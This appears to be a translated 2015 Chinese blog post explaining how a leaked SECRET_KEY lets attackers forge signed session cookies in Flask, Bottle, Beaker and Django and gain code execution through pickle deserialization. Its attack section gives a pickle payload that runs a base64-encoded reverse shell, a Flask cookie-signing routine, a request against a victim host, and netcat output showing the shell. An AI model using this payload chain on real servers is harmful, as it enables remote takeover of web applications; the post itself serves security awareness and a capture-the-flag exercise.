对于Python的框架中一些会话程序的管理


Posted in Python onApril 20, 2015

 Django, Bottle, Flask,等所有的python web框架都需要配置一个SECRET_KEY。文档通常推荐我们使用随机的值,但我很难发现他有任何文字说明,因为这样容易被破解(本地攻击或者文本阅读在web app中更容易受攻击)。攻击者可以使用SECRET_KEY伪造cookies,csrf token然后使用管理员工具。不过这很难做到,不过他可以搞一些小破坏,比如执行恶意代码。这也是我下面将要介绍的。

记得以前使用PHP找到一个可以读服务器上任意文件的bug(不包含本地文件),你将会被迫选择远程执行代码(RCE)。你就需要审查大部分的app资源文件来找到其他的bugs或者有用的信息(比如说用户密码,或者数据库信息等)。在这个情况下,我们能说PHP是更安全的吗?
在攻击一个Python网站框架的时候,知道你设置的SECRET_KEY字段的攻击者,能够简单的将LFR攻击升级到RCE攻击。我(作者)是从攻击一系列的网站框架之后得出如上结论的。在这些网站框架中,都有雷同的,使用Pickle作为将经过签名的Cookie序列化的方式。

Flask框架中,Flask在config['SECRET_KEY']被赋予某个值,session_cookie_name(default='session')存在于cookie中的时候,将Cookie反序列化,甚至在没有session的情况下。(这样多么好,攻击者可以仅仅通过向config file添加SECRET_KEY的方式制造后门,并且,天真的用户将认为这非常'重要')
 

从 werkzeug library 里面提取出来的反序列方法是这样的:
 

def unserialize(cls, string, secret_key):
    if isinstance(string, unicode):
      string = string.encode('utf-8', 'replace')
    try:
      base64_hash, data = string.split('?', 1)
    except (ValueError, IndexError):
      items = ()
    else:
      items = {}
      mac = hmac(secret_key, None, cls.hash_method)
      # -- snip ---
      try:
        client_hash = base64_hash.decode('base64')
      except Exception:
        items = client_hash = None
      if items is not None and safe_str_cmp(client_hash, mac.digest()):
        try:
          for key, value in items.iteritems():
            items[key] = cls.unquote(value)
        except UnquoteError:
          # -- snip --
      else:
        items = ()
    return cls(items, secret_key, False)

反序列方法检查签名,然后在签名正确的情况下unquote()cookie的值。unquote()方法看起来非常无辜,但是事实上,这是一个默认的pickle.
 

#: the module used for serialization. Unless overriden by subclasses
#: the standard pickle module is used.
serialization_method = pickle
def unquote(cls, value):
  # -- snip --
    if cls.quote_base64:
      value = value.decode('base64')
    if cls.serialization_method is not None:
      value = cls.serialization_method.loads(value)
    return value
  # -- snip --

Bottle: 在默认的bottle设定中时没有真正的secret key的,但是也许有人想要用signed cookie的功能来加密他自己的cookie.

让我们来看看代码是怎么样的:
 

def get_cookie(self, key, default=None, secret=None):
  value = self.cookies.get(key)
  if secret and value:
    dec = cookie_decode(value, secret) # (key, value) tuple or None
    return dec[1] if dec and dec[0] == key else default
  return value or default

当这个密钥被展现出来的时候,并且在cookie中还有其他数值的时候,cookie_decode  方法被调用:
 

def cookie_decode(data, key):
  data = tob(data)
  if cookie_is_encoded(data):
    sig, msg = data.split(tob('?'), 1)
    if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg).digest())):
      return pickle.loads(base64.b64decode(msg))
  return None

再次,我们看到了Pickle !

Beaker 的session:(任何服务都可以在session上使用beaker的中间件,bottle框架甚至推荐这么做) Beaker.Session 具有很多功能,并且这可能被混淆: 这里面有三个密钥 secret_key, validate_key, encrypted_key)

    encrypt_key: 加密cookie信息,然后要么向客户端发送(session.type="cookie"/Cookie mode),要么在(session.type="file"/File mode)中储存。如果没有设定encrypt_key,那么cookie不会被加密,只会被base64编码。当有encrypt_key的时候,cookie会被用encrypted_key, validate_key(可选)和一个随机值用AES方法加密。
    validate_key: 用来给加密的cookie签名
    secret:在用File mode时候给cookie签名(我不知道为什么他们不就用一个validate_key就好了!)

 

当然,当有人对文件拥有读的权限的时候,他/她理所当然知道所有的字段。然而,File mode使得攻击不得能因为我们对已经序列化的数据并没有控制权,例如,当这些数据储存在本地硬盘上的时候。在Cookie mode,攻击就能够成立,即便cookie被编码了(因为我们知道怎么encrypt,哈哈)。你也许会问,那个随机参数是不可知的,你们没办法攻击,幸运的是这个随机参数也是cookie存数的session数据的一部分,因此,我们可以将其替代为任何我们需要的值。

下面是他们构造session数据的代码

 

def _encrypt_data(self, session_data=None):
   """Serialize, encipher, and base64 the session dict"""
   session_data = session_data or self.copy()
   if self.encrypt_key:
     nonce = b64encode(os.urandom(6))[:8]
     encrypt_key = crypto.generateCryptoKeys(self.encrypt_key,
                     self.validate_key + nonce, 1)
     data = util.pickle.dumps(session_data, 2)
     return nonce + b64encode(crypto.aesEncrypt(data, encrypt_key))
   else:
     data = util.pickle.dumps(session_data, 2)
     return b64encode(data)

我们明显的看到这些数据的处理存在风险。

Django: 最知名也是在Python语言中最复杂的一个服务器框架。而且,没错,Django的开发者们在Cookie Session上放置了一个蛮不错的警告。以我之鄙见,这个警告不够,而应该被替换成'致命'或者是'警示',并且标上红色。

Django的Session是咋么工作的呢?我们能够从Django的文档中轻易的找到可阅读的答案:总而言之,Django给了session 3个可以设定的项目:db,file以及signed_cookie。再一次,我们只对signed_cookie产生兴趣,因为我们可以轻松的改变它。如果SESSION_ENGINE被设定为“django.contrib.sessions.backends.signed_cookies“,我们就确定signed_cookie是背用于session的管理。

有趣的是,如果我们在request cookie里面构造一个sessionid,它总是会被反序列化。Django也给了我们一个cookie是如何被签名的好实例。这让我们的工作轻松多了。

我们的攻击

我们还没有讨论我们如何攻击(有些你可能已经知道了)!感谢您的耐心看到最后,我写它在最后是因为攻击手段充满共性,而且简单(是的,原则性的知识)。

在这里,我们可以读取任何文件。要找到Python应用程序的配置文件并不难,因为到处有导入(import)。当我们获得的密钥时,我们可以简单的实现(或重复使用)签署web框架的cookie,并使用我们的恶意代码。 因为它们使用的是pickle.loads()反序列化的时候,我们的使用pickle.dumps()保存恶意代码。

piclke.dump()和loads()通常在处理整数,字符串,数列,哈希,字典类型的时候是安全的....但是他在处理一些恶意构造的数据类型的时候就不安全了!事实上,攻击者可以通过构造的数据类型来达到执行任意Python代码的目的。我写了一段不错的小程序来吧Python代码转换成Pickle序列化的对象。我们应该从connback.py开始阅读(这实际上是一个反向链接的shell),然后我们将诱使对方网站来用Pickle方法将其序列化。如果有人执行了pickle.loads(payload),那么我们的反向链接shell就会被激活。
 

code = b64(open('connback.py').read())
class ex(object):
  def __reduce__(self):
    return ( eval, ('str(eval(compile("%s".decode("base64"),"q","exec"))).strip("None")'%(code),) )
payload = pickle.dumps(ex())

现在我们签名(适用于flask web框架):
 

def send_flask(key, payload):
  data = 'id='+b64(payload)
  mac = b64(hmac(key, '|'+data, hashlib.sha1).digest())
  s = '%(sig)s?%(data)s' % {'sig':mac, 'data':data}

然后发送
 

print requests.get('http://victim/', cookies={'session':s})

在另外一个终端里:
 

danghvu@thebeast:~$ nc -lvvv 1337
Connection from x.x.x.x port 1337 [tcp/*] accepted
!P0Wn! Congratulation !!
sh: no job control in this shell
sh-4.1$

还有啥?

-所以怎样?只要你不知道我的secret_key我就是安全的!可以啊,你可以这样....但是和宣称:"我把我的钥匙放在房顶上,我知道你爬不上来..."没啥区别。

-好的, 所以如果我不用这种session cookie,我就安全了!没错,在小型的web app上,将session 储存在文件里面更安全(如果放在DB里面,我们还面临SQL Injection的危险)。但是如果是大型web app,然后你有个分布式的存储方式,这将导致严重的效率问题。

-那咋办?也许我们应该让那些web框架不要用piclke来序列化?我不知道是否存在这种框架,如果有的话就好了。PHP更安全吗?事实上不是如此

最后:

Web.Py,当我查看他们的web session文档的时候我发现:CookieHandler ? DANGEROUS, UNSECURE, EXPERIMENTAL

所以,干得好:D ,也许所有人都应该这样做。你们应该去试试web.py和其他框架。

我做了这些,如果你想要让它奏效你也可以花点时间上去。

作为一个礼物,这个网站是有这个漏洞的,让我们看看你们是不是能够把lfr bug升级成为一个rce,然后你们会找到真正的礼物:一个flag...

更新:有漏洞的网站的源码放在github上了,它的secret_key已经不一样了。

Python 相关文章推荐
跟老齐学Python之赋值,简单也不简单
Sep 24 Python
Python扫描IP段查看指定端口是否开放的方法
Jun 09 Python
Python自动化部署工具Fabric的简单上手指南
Apr 19 Python
浅析Python中yield关键词的作用与用法
Nov 29 Python
Python简单实现的代理服务器端口映射功能示例
Apr 08 Python
python pandas消除空值和空格以及 Nan数据替换方法
Oct 30 Python
python实现扫描ip地址的小程序
Apr 16 Python
Python Django框架实现应用添加logging日志操作示例
May 17 Python
Python识别快递条形码及Tesseract-OCR使用详解
Jul 15 Python
Pycharm新手使用教程(图文详解)
Sep 17 Python
python3 kubernetes api的使用示例
Jan 12 Python
Python中Pyspider爬虫框架的基本使用详解
Jan 27 Python
介绍Python的Django框架中的QuerySets
Apr 20 #Python
使用Python的Django框架实现事务交易管理的教程
Apr 20 #Python
简化Python的Django框架代码的一些示例
Apr 20 #Python
在Python的Django框架上部署ORM库的教程
Apr 20 #Python
在Heroku云平台上部署Python的Django框架的教程
Apr 20 #Python
从Python程序中访问Java类的简单示例
Apr 20 #Python
把项目从Python2.x移植到Python3.x的经验总结
Apr 20 #Python
You might like
使用php+xslt在windows平台上
2006/10/09 PHP
Discuz批量替换帖子内容的方法(使用SQL更新数据库)
2014/06/23 PHP
ThinkPHP表单自动验证实例
2014/10/13 PHP
yii2分页之实现跳转到具体某页的实例代码
2016/06/02 PHP
ThinkPHP框架中使用Memcached缓存数据的方法
2018/03/31 PHP
thinkphp3.2框架中where条件查询用法总结
2019/08/13 PHP
jQuery中需要注意的细节问题小结
2011/12/06 Javascript
jQuery实用基础超详细介绍
2013/04/11 Javascript
利用JS实现浏览器的title闪烁
2013/07/08 Javascript
JS实现的简洁二级导航菜单雏形效果
2015/10/13 Javascript
JavaScript的removeChild()函数用法详解
2015/12/27 Javascript
基于JS实现省市联动效果代码分享
2016/06/06 Javascript
深入理解javascript函数参数与闭包
2016/12/12 Javascript
JS操作xml对象转换为Json对象示例
2017/03/25 Javascript
微信小程序之购物车功能
2020/09/23 Javascript
解决JS内存泄露之js对象和dom对象互相引用问题
2017/06/25 Javascript
vue-cli项目如何使用vue-resource获取本地的json数据(模拟服务端返回数据)
2017/08/04 Javascript
jsTree事件和交互以及插件plugins详解
2017/08/29 Javascript
JS实现点击按钮可实现编辑功能
2018/07/03 Javascript
Nodejs中的require函数的具体使用方法
2019/04/02 NodeJs
JS多个表单数据提交下的serialize()应用实例分析
2019/08/27 Javascript
jQuery实现简单飞机大战
2020/07/05 jQuery
如何在Vue中使localStorage具有响应式(思想实验)
2020/07/14 Javascript
Python中的类学习笔记
2014/09/23 Python
python中Pycharm 输出中文或打印中文乱码现象的解决办法
2017/06/16 Python
利用Python将文本中的中英文分离方法
2018/10/31 Python
解决Python下json.loads()中文字符出错的问题
2018/12/19 Python
CSS3制作炫酷带方向感应的鼠标滑过图片3D动画
2016/03/16 HTML / CSS
猫途鹰:全球领先的旅游点评社区
2017/04/07 全球购物
美国农场商店:Blain’s Farm & Fleet
2020/01/17 全球购物
威盛公司软件C++工程师笔试题面试题
2012/07/16 面试题
点菜员岗位职责范本
2014/02/14 职场文书
2014教师党员自我评议(5篇)
2014/09/20 职场文书
2014年班务工作总结
2014/12/02 职场文书
征求意见函
2015/06/05 职场文书
vue.js 使用原生js实现轮播图
2022/04/26 Vue.js